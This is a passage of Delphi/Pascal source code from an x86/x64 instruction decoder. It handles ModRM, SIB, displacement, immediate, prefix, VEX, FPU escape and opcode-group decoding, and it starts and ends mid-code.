PSib: LPSib;\nbegin\n  PSib := @PInst^.Sib;\n  PSib.Flags := sfUsed;\n  PSib.Value := PInst^.NextInst^;\n  PSib.Base := GetSib_Base(PSib.Value);\n  PSib.Index := GetSib_Index(PSib.Value);\n  PSib.Scale := GetSib_Scale(PSib.Value);\n  Inc(PInst^.NextInst); // Skip SIB !\nend;\n\nprocedure DecodeDisp(PInst: PInstruction);\nvar\n  Disp: Int64;\n  Size: Byte;\n  DispOnly: Boolean;\nbegin\n  Disp := $00;\n  Size := PInst^.Disp.Size;\n  PInst^.Disp.Flags := dfUsed;\n  DispOnly := (PInst^.ModRm.iMod = $00) and (PInst^.ModRm.Rm = $05);\n\n  case Size of\n    ops8bits:\n      Disp := (PInt8(PInst^.NextInst)^); // and $FF;\n    ops16bits:\n      Disp := (PInt16(PInst^.NextInst)^); // and $FFFF;\n    ops32bits:\n      begin\n        Disp := (PInt32(PInst^.NextInst)^); // and $FFFFFFFF;\n        if (PInst^.Archi = CPUX64) and DispOnly then\n          { RIP disp ! }\n          PInst^.Disp.Flags := PInst^.Disp.Flags or dfRip;\n      end;\n  else\n    SetInstError(PInst, ERROR_DISP_SIZE);\n  end;\n\n  if DispOnly then\n    PInst^.Disp.Flags := PInst^.Disp.Flags or dfDispOnly\n  else\n    PInst^.Disp.Flags := PInst^.Disp.Flags or dfSigned;\n\n  PInst^.Disp.Value := Disp;\n  Inc(PInst^.NextInst, Size) // Skip Disp !\nend;\n\nprocedure Decode_ModRm(PInst: PInstruction);\nvar\n  PModRM: LPModRM;\n  SibUsed: Boolean;\nconst\n  { Get Disp Size from ModRm . }\n  ModRMFlagsToDispSize: array [0 .. 4] of Byte = (0, ops8bits, ops16bits, 0, ops32bits);\nbegin\n  PModRM := @PInst^.ModRm;\n  PModRM.Value := PInst^.NextInst^;\n  PModRM.iMod := GetModRm_Mod(PModRM.Value);\n  PModRM.Reg := GetModRm_Reg(PModRM.Value);\n  PModRM.Rm := GetModRm_Rm(PModRM.Value);\n  PModRM.Flags := ModRMFlags[PInst^.AddrMode][PModRM.Value];\n\n  PInst^.Disp.Size := ModRMFlagsToDispSize[(PModRM.Flags shr 1) and 7];\n  Inc(PInst^.NextInst); // Skip ModRM !\n\n  SibUsed := (PModRM.Flags and $10 > 0); { SibUsed ! }\n\n  if SibUsed then\n  begin\n    DecodeSib(PInst);\n    { if the base is not valid ==> there is a disp32 .\n      But the disp can be 8bit ==> we need to check first\n      if the disp does not exist !\n    }\n    if (PInst^.Disp.Size = 0) and (not IsSibBaseRegValid(PInst)) then\n      PInst^.Disp.Size := ops32bits;\n  end;\n\n  if PInst^.Disp.Size > 0 then\n    DecodeDisp(PInst);\n\n  { ModRm Exists ! }\n  PModRM.Flags := PModRM.Flags or mfUsed;\nend;\n\nprocedure Decode_Imm(PInst: PInstruction; immSize: Byte);\nvar\n  Imm: Int64;\n  PImm: PImmediat;\nbegin\n  Imm := $00;\n  case immSize of\n    ops8bits:\n      Imm := (PInt8(PInst^.NextInst)^);\n    ops16bits:\n      Imm := (PInt16(PInst^.NextInst)^);\n    ops32bits:\n      Imm := (PInt32(PInst^.NextInst)^);\n    ops64bits:\n      Imm := (PInt64(PInst^.NextInst)^);\n  else\n    SetInstError(PInst, ERROR_IMM_SIZE);\n  end;\n\n  {\n    If Imm field already used => get the extra Imm\n  }\n  if PInst^.Imm.Flags and imfUsed <> $00 then\n    PImm := @PInst^.ImmEx\n  else\n    PImm := @PInst^.Imm;\n\n  PImm.Flags := imfUsed;\n  PImm.Value := Imm;\n  PImm.Size := immSize;\n  Inc(PInst^.NextInst, immSize); // Skip Immediat !\nend;\n\nprocedure Decode_J(PInst: PInstruction; Size: Byte);\nvar\n  Value: Int64;\n  VA: PByte;\nbegin\n  Value := $00;\n  case Size of\n    ops8bits:\n      Value := (PInt8(PInst^.NextInst)^);\n    ops16bits:\n      Value := (PInt16(PInst^.NextInst)^);\n    ops32bits:\n      Value := (PInt32(PInst^.NextInst)^);\n    ops64bits:\n      Value := (PInt64(PInst^.NextInst)^);\n  end;\n  Inc(PInst^.NextInst, Size);\n  if PInst^.OpType = otNone then\n    PInst^.OpType := otJ;\n  if PInst^.OpCode in [$70 .. $8F] then\n    PInst^.OpType := otJ or otJcc;\n  if Assigned(PInst^.VirtualAddr) then\n    VA := PByte(NativeInt(PInst^.VirtualAddr) + NativeInt(NativeInt(PInst^.NextInst) - NativeInt(PInst^.Addr)))\n  else\n    VA := PInst^.NextInst;\n  PInst^.Branch.Size := Size;\n  PInst^.Branch.Falgs := bfUsed or bfRel;\n  PInst^.Branch.Value := Value;\n  PInst^.Branch.Target := PByte(NativeInt(VA) + Value);\nend;\n\nprocedure Decode_Branch_ModRm(PInst: PInstruction);\nvar\n  P: PByte;\n  VA: PByte;\nbegin\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  PInst^.Branch.Value := PInst^.Disp.Value;\n  PInst^.Branch.Size := PInst^.Disp.Size;\n  PInst^.Branch.Falgs := bfUsed or bfIndirect or bfAbs;\n  if Assigned(PInst^.VirtualAddr) then\n    VA := PByte(NativeInt(PInst^.VirtualAddr) + (NativeInt(PInst^.NextInst) - NativeInt(PInst^.Addr)))\n  else\n    VA := PInst^.NextInst;\n  if (PInst^.ModRm.iMod = $00) and (PInst^.ModRm.Rm = $05) then\n  begin\n    { Memory = Displacement }\n    if PInst^.Archi = CPUX64 then\n    begin\n      if PInst^.Prefixes and Prf_AddrSize <> 0 then\n        { Displacement = EIP + Offset }\n        VA := PByte(UInt64(VA) and $FFFFFFFF);\n      { Displacement = RIP + Offset }\n      PInst^.Branch.Falgs := PInst^.Branch.Falgs or bfRip;\n      P := PByte(NativeInt(VA) + NativeInt(PInst^.Disp.Value));\n      { Memory 64-bits }\n      PInst^.Branch.Target := PByte(PUInt64(P)^);\n    end\n    else\n    begin\n      { No RIP }\n      P := PByte(UInt32(PInst^.Disp.Value));\n      if PInst^.Prefixes and Prf_OpSize <> 0 then\n        { Memory 16-bits }\n        PInst^.Branch.Target := PByte(PUInt16(P)^)\n      else\n        { Memory 32-bits }\n        PInst^.Branch.Target := PByte(PUInt32(P)^);\n    end;\n  end\n  else\n  begin\n    { Memory = Displacement + Register }\n    PInst^.Branch.Falgs := PInst^.Branch.Falgs or bfReg;\n    PInst^.Branch.Target := nil;\n  end;\nend;\n\nprocedure Decode_Ap(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  PInst^.Branch.Falgs := bfUsed or bfFar;\n  { We must clear the upper word ! }\n  PInst^.Branch.Value := PUInt64(PInst^.NextInst)^ and $FFFFFFFFFFFF;\n  PInst^.Branch.Size := ops48bits;\n  PInst^.Branch.Target := nil;\n  Inc(PInst^.NextInst, ops48bits);\nend;\n\nprocedure Decode_Mp(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  PInst^.Branch.Falgs := bfUsed or bfFar;\n  Decode_ModRm(PInst);\n  PInst^.Branch.Value := PInst^.Disp.Value;\n  PInst^.Branch.Size := PInst^.Disp.Size;\n  PInst^.Branch.Target := nil;\nend;\n\nprocedure Decode_InvalidOpCode(PInst: PInstruction); {$IFDEF MustInline}inline;\n{$ENDIF}\nbegin\n  SetOpCode(PInst);\nend;\n\nprocedure Decode_Invalid_Group(PInst: PInstruction); {$IFDEF MustInline}inline;\n{$ENDIF}\nbegin\n  SetOpCode(PInst);\n  Inc(PInst^.NextInst);\nend;\n\nprocedure Decode_Invalid_FPU(PInst: PInstruction); {$IFDEF MustInline}inline;\n{$ENDIF}\nbegin\n  SetOpCode(PInst);\n  Inc(PInst^.NextInst);\nend;\n\n{ .$ENDREGION }\n{ .$REGION 'PREFIXES' }\n{ ========================== PREFIXES =============================== }\n\nprocedure Decode_ES_Prefix(PInst: PInstruction);\nbegin\n  { ES Segment Override Prefix }\n  Inc(PInst^.NextInst);\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_ES;\n  PInst^.SegReg := Seg_ES;\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_CS_Prefix(PInst: PInstruction);\nbegin\n  { CS Segment Override Prefix }\n  Inc(PInst^.NextInst);\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_CS;\n  PInst^.SegReg := Seg_CS;\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_SS_Prefix(PInst: PInstruction);\nbegin\n  { SS Segment Override Prefix }\n  Inc(PInst^.NextInst);\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_SS;\n  PInst^.SegReg := Seg_SS;\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_DS_Prefix(PInst: PInstruction);\nbegin\n  { DS Segment Override Prefix }\n  Inc(PInst^.NextInst);\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_DS;\n  PInst^.SegReg := Seg_DS;\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_REX_Prefix(PInst: PInstruction);\nbegin\n  { REX Prefix valid only on PM64! }\n  if PInst^.Archi = CPUX32 then\n  begin\n    { INC/DEC REG }\n    Decode_NA(PInst);\n    Exit;\n  end;\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Rex;\n  PInst^.Rex.Value := PInst^.NextInst^;\n  PInst^.Rex.B := (PInst^.Rex.Value and 1 <> 0);\n  PInst^.Rex.X := (PInst^.Rex.Value and 2 <> 0);\n  PInst^.Rex.R := (PInst^.Rex.Value and 4 <> 0);\n  PInst^.Rex.W := (PInst^.Rex.Value and 8 <> 0);\n\n  if PInst^.Rex.W then\n    PInst^.LID.vOpSize := ops64bits;\n\n  Inc(PInst^.NextInst); // Skip Rex .\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_FS_Prefix(PInst: PInstruction);\nbegin\n  { FS Segment Override Prefix }\n  Inc(PInst^.NextInst);\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_FS;\n  PInst^.SegReg := Seg_FS;\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_GS_Prefix(PInst: PInstruction);\nbegin\n  { GS Segment Override Prefix }\n  Inc(PInst^.NextInst);\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_GS;\n  PInst^.SegReg := Seg_GS;\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_OPSIZE_Prefix(PInst: PInstruction);\nbegin\n  PInst^.Prefixes := PInst^.Prefixes or Prf_OpSize;\n  PInst^.LID.vOpSize := ops16bits;\n  PInst^.LID.zOpSize := ops16bits;\n  PInst^.LID.MndPrf := $66;\n  Inc(PInst^.NextInst);\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_ADSIZE_Prefix(PInst: PInstruction);\nbegin\n  PInst^.Prefixes := PInst^.Prefixes or Prf_AddrSize;\n  Inc(PInst^.NextInst);\n  PInst^.AddrMode := AddressMode[PInst^.Archi];\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_VEX3_Prefix(PInst: PInstruction);\nvar\n  P: Byte;\n  Q: PByte;\n  R, X: Boolean;\nbegin\n  if PInst^.Options and DecodeVex = 0 then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  if PInst^.Archi = CPUX32 then\n  begin\n    Q := PInst^.NextInst;\n    Inc(Q);\n    R := (Q^ and $80 <> 0);\n    X := (Q^ and $40 <> 0);\n    {\n      if R & X are set ==> Vex prefix is valid !\n      otherwise the instruction is LES .\n    }\n    if not(R and X) then\n    begin\n      { LES instruction }\n      Decode_NA_ModRm(PInst);\n      Exit;\n    end;\n  end;\n\n  Inc(PInst^.NextInst); // Skip $C4 !\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Vex3;\n  P := PInst^.NextInst^; // P0\n  PInst^.Rex.R := not(P and $80 <> 0);\n  PInst^.Rex.X := not(P and $40 <> 0);\n  PInst^.Rex.B := not(P and $20 <> 0);\n  PInst^.Vex.mmmmm := (P and $1F);\n  Inc(PInst^.NextInst); // Skip P0\n  P := PInst^.NextInst^; // P1\n  Inc(PInst^.NextInst); // Skip P1\n  PInst^.Rex.W := (P and $80 <> 0);\n  PInst^.Vex.vvvv := $0F - ((P and $78) shr 3);\n  PInst^.Vex.L := (P and 4 <> 0);\n  PInst^.Vex.PP := (P and 3);\n  PInst^.Vex.VL := LLToOpSize[Byte(PInst^.Vex.L)];\n  PInst^.LID.MndPrf := PPToMndPrf[PInst^.Vex.PP];\n  mmmmmToEscProc[PInst^.Vex.mmmmm](PInst);\nend;\n\nprocedure Decode_VEX2_Prefix(PInst: PInstruction);\nvar\n  P: Byte;\n  Q: PByte;\n  R: Boolean;\nbegin\n  if PInst^.Options and DecodeVex = 0 then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  if PInst^.Archi = CPUX32 then\n  begin\n    Q := PInst^.NextInst;\n    Inc(Q);\n    R := (Q^ and $80 <> 0);\n    {\n      if R is set ==> Vex prefix is valid !\n      otherwise the instruction is LDS.\n    }\n    if not R then\n    begin\n      { LDS instruction }\n      Decode_NA_ModRm(PInst);\n      Exit;\n    end;\n  end;\n\n  Inc(PInst^.NextInst); // Skip $C5 !\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Vex2;\n  P := PInst^.NextInst^;\n  PInst^.Rex.R := not(P and $80 <> 0);\n  PInst^.Vex.vvvv := $0F - ((P and $78) shr 3);\n  PInst^.Vex.L := (P and 4 <> 0);\n  PInst^.Vex.PP := (P and 3);\n  PInst^.Vex.VL := LLToOpSize[Byte(PInst^.Vex.L)];\n  PInst^.LID.MndPrf := PPToMndPrf[PInst^.Vex.PP];\n  Inc(PInst^.NextInst); // Skip P0 !\n  DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_LOCK_Prefix(PInst: PInstruction);\nbegin\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Lock;\n  Inc(PInst^.NextInst);\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_REPNE_Prefix(PInst: PInstruction);\nbegin\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Repne;\n  PInst^.LID.MndPrf := $F2;\n  Inc(PInst^.NextInst);\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_REPE_Prefix(PInst: PInstruction);\nbegin\n  PInst^.Prefixes := PInst^.Prefixes or Prf_Repe;\n  PInst^.LID.MndPrf := $F3;\n  Inc(PInst^.NextInst);\n  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);\nend;\n{ .$ENDREGION }\n{ .$REGION 'ESCAPE' }\n{ ========================== ESCAPE =============================== }\n\nprocedure JumpError(PInst: PInstruction);\nbegin\n  { Wrong Vex.mmmmm value ! }\n  SetInstError(PInst, ERROR_VEX_ESCAPE);\nend;\n\nprocedure JumpToTableTwoByte(PInst: PInstruction);\nbegin\n  { Implied $0F OpCode => Jump to table TwoByteTable }\n  PInst^.OpTable := tbTwoByte;\n  DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure JumpToTableThreeByte_38(PInst: PInstruction);\nbegin\n  { Implied $0F$38 OpCodes => Jump to table ThreeByteTable.38 }\n  PInst^.OpTable := tbThreeByte;\n  DecoderProcTable[ThreeByteTable38[PInst^.NextInst^]](PInst);\nend;\n\nprocedure JumpToTableThreeByte_3A(PInst: PInstruction);\nbegin\n  { Implied $0F$3A OpCodes => Jump to table ThreeByteTable.3A }\n  PInst^.OpTable := tbThreeByte;\n  DecoderProcTable[ThreeByteTable3A[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_Escape_2_Byte(PInst: PInstruction);\nbegin\n  { Two Byte OpCode Escape ! }\n  PInst^.OpTable := tbTwoByte;\n  Inc(PInst^.NextInst);\n  DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst);\nend;\n\nprocedure Decode_Escape_3_Byte(PInst: PInstruction);\nvar\n  P: Byte;\nbegin\n  { Three Byte OpCode Escape ! }\n  PInst^.OpTable := tbThreeByte;\n  P := PInst^.NextInst^;\n  Inc(PInst^.NextInst);\n  if P = $38 then\n    DecoderProcTable[ThreeByteTable38[PInst^.NextInst^]](PInst)\n  else\n    DecoderProcTable[ThreeByteTable3A[PInst^.NextInst^]](PInst);\nend;\n\n{ .$ENDREGION }\n{ .$REGION 'FPU' }\n{ ========================== FPU =============================== }\n\nprocedure Decode_Escape_FPU_D8(PInst: PInstruction);\nbegin\n  { All OpCode are valid for $D8 ! }\n  PInst^.OpTable := tbFPU;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_D9(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\n  Reg: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  Reg := GetModRm_Reg(ModRm);\n  if ModRm < $C0 then\n  begin\n    if Reg = $01 then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end\n  else\n  begin\n    if ModRm in [$D1 .. $DF, $E2, $E3, $EF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_DA(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  if ModRm > $C0 then\n  begin\n    if ModRm in [$E0 .. $E8, $EA .. $EF, $F0 .. $FF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_DB(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\n  Reg: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  Reg := GetModRm_Reg(ModRm);\n  if ModRm < $C0 then\n  begin\n    if (Reg = $04) or (Reg = $06) then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end\n  else\n  begin\n    if ModRm in [$E0, $E1, $E4 .. $E7, $F8 .. $FF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_DC(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  if ModRm > $C0 then\n  begin\n    if ModRm in [$D0 .. $DF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_DD(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\n  Reg: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  Reg := GetModRm_Reg(ModRm);\n  if ModRm < $C0 then\n  begin\n    if (Reg = $05) then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end\n  else\n  begin\n    if ModRm in [$C8 .. $CF, $F0 .. $FF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_DE(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  if ModRm > $C0 then\n  begin\n    if ModRm in [$D0 .. $D8, $DA .. $DF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Escape_FPU_DF(PInst: PInstruction);\nvar\n  P: PByte;\n  ModRm: Byte;\nbegin\n  PInst^.OpTable := tbFPU;\n  P := PInst^.NextInst;\n  Inc(P);\n  ModRm := P^;\n  if ModRm > $C0 then\n  begin\n    if ModRm in [$C0 .. $CF, $D0 .. $DF, $E1 .. $E7, $F8 .. $FF] then\n    begin\n      Decode_Invalid_FPU(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\n{ .$ENDREGION }\n{ .$REGION 'GROUPS' }\n{ ========================== GROUPS =============================== }\n\nprocedure Decode_Group_1(PInst: PInstruction);\nbegin\n  SetGroup(PInst);\n  if not(PInst^.NextInst^ in [$80 .. $83]) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  if PInst^.NextInst^ = $81 then\n    Decode_NA_ModRm_Iz(PInst)\n  else\n    Decode_NA_ModRm_Ib(PInst);\nend;\n\nprocedure Decode_Group_1A(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.NextInst^ <> $8F) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P); // ModRm !\n  Reg := GetModRm_Reg(P^);\n  if (Reg = $00) then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_2(PInst: PInstruction);\nbegin\n  SetGroup(PInst);\n  if not(PInst^.NextInst^ in [$C0 .. $C1, $D0 .. $D3]) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  if (PInst^.NextInst^ in [$C0, $C1]) then\n    Decode_NA_ModRm_Ib(PInst)\n  else\n    Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Group_3(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if not(PInst^.NextInst^ in [$F6, $F7]) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  Reg := GetModRm_Reg(P^);\n  if (Reg < $02) then\n  begin\n    { [TEST Reg,Immb] & [TEST Reg,Immz] }\n    if PInst^.NextInst^ = $F6 then\n      Decode_NA_ModRm_Ib(PInst)\n    else\n      Decode_NA_ModRm_Iz(PInst);\n    Exit;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Group_4_INC_DEC(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  Assert(PInst^.NextInst^ = $FE);\n  P := PInst^.NextInst;\n  Inc(P); // ModRm\n  Reg := GetModRm_Reg(P^);\n  if (Reg < $02) then\n  begin\n    { INC/DEC REG }\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_5_INC_DEC(PInst: PInstruction);\nvar\n  Reg: Byte;\n  P: PByte;\nconst\n  GroupProc: array [0 .. 7] of TDecoderProc = ( //\n    { 00 } Decode_NA_ModRm, { INC Ev }\n    { 01 } Decode_NA_ModRm, { DEC Ev }\n    { 02 } Decode_CALL_ModRm, { CALL Ev }\n    { 03 } Decode_CALL_Mp, { CALL Mp }\n    { 04 } Decode_JMP_ModRm, { JMP Ev }\n    { 05 } Decode_JMP_Mp, { JMP Mp }\n    { 06 } Decode_NA_ModRm, { PUSH Ev }\n    { 07 } Decode_Invalid_Group { InvalidOpCode }\n    );\nbegin\n  SetGroup(PInst);\n  if (PInst^.NextInst^ <> $FF) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P); // ModRm\n  Reg := GetModRm_Reg(P^);\n  GroupProc[Reg](PInst);\nend;\n\nprocedure Decode_Group_6(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $00) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  Reg := GetModRm_Reg(P^);\n  if Reg = $07 then\n  begin\n    Decode_Invalid_Group(PInst);\n    Exit;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_Group_7(PInst: PInstruction);\nvar\n  P: PByte;\n  iMod, Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $01) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  iMod := GetModRm_Mod(P^);\n  Reg := GetModRm_Reg(P^);\n  if (Reg = $04) or (Reg = $06) then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end\n  else if Reg = $05 then\n  begin\n    Decode_Invalid_Group(PInst);\n    Exit;\n  end;\n  if iMod <> $03 then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_8(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $BA) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  Reg := GetModRm_Reg(P^);\n  if Reg > $03 then\n  begin\n    Decode_NA_ModRm_Ib(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_9(PInst: PInstruction);\nvar\n  P: PByte;\n  iMod, Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $C7) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  iMod := GetModRm_Mod(P^);\n  Reg := GetModRm_Reg(P^);\n  if (iMod = $03) and (Reg > $05) then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n\n  if (iMod <> $03) then\n  begin\n    { Mod = Mem }\n    if (((PInst^.LID.MndPrf = $00) and (Reg = $01)) or //\n      ((PInst^.LID.MndPrf = $66) and (Reg = $06)) or //\n      ((PInst^.LID.MndPrf = $F3) and (Reg > $05))) then\n    begin\n      Decode_NA_ModRm(PInst);\n      Exit;\n    end;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_10_UD2(PInst: PInstruction);\nbegin\n  SetGroup(PInst);\n  Decode_InvalidOpCode(PInst);\nend;\n\nprocedure Decode_Group_11(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if not(PInst^.NextInst^ in [$C6, $C7]) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  Reg := GetModRm_Reg(P^);\n  if PInst^.NextInst^ = $C6 then\n  begin\n    if (Reg = $00) then\n    begin\n      { XABORT Instruction }\n      Decode_NA_ModRm_Ib(PInst);\n      Exit;\n    end\n    else if (Reg = $07) then\n    begin\n      Decode_NA_Ib(PInst);\n      Exit;\n    end\n  end\n  else if PInst^.NextInst^ = $C7 then\n  begin\n    if Reg = $00 then\n    begin\n      Decode_NA_ModRm_Iz(PInst);\n      Exit;\n    end\n    else if Reg = $07 then\n    begin\n      { XBEGIN Instruction }\n      SetOpCode(PInst);\n      Inc(PInst^.NextInst);\n      Decode_J(PInst, PInst^.LID.zOpSize);\n      PInst^.OpType := $00;\n      Exit;\n    end;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_12(PInst: PInstruction);\nvar\n  P: PByte;\n  iMod, Reg: Byte;\nbegin\n  SetGroup(PInst);\n  { Group 12 & 13 }\n  if (PInst^.OpTable <> tbTwoByte) and not(PInst^.NextInst^ in [$71, $72]) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  iMod := GetModRm_Mod(P^);\n  Reg := GetModRm_Reg(P^);\n  if (iMod = $03) and (Reg in [$02, $04, $06]) then\n  begin\n    Decode_NA_ModRm_Ib(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_13(PInst: PInstruction);\nbegin\n  SetGroup(PInst);\n  { Group 13 has the same instructions signature as Group 12 ! }\n  Decode_Group_12(PInst);\nend;\n\nprocedure Decode_Group_14(PInst: PInstruction);\nvar\n  P: PByte;\n  iMod, Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $73) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  iMod := GetModRm_Mod(P^);\n  Reg := GetModRm_Reg(P^);\n  if iMod = $03 then\n  begin\n    if (Reg = $02) or (Reg = $06) then\n    begin\n      Decode_NA_ModRm_Ib(PInst);\n      Exit;\n    end;\n    if (PInst^.LID.MndPrf = $66) and ((Reg = $03) or (Reg = $07)) then\n    begin\n      Decode_NA_ModRm_Ib(PInst);\n      Exit;\n    end;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_15(PInst: PInstruction);\nvar\n  P: PByte;\n  iMod, Reg: 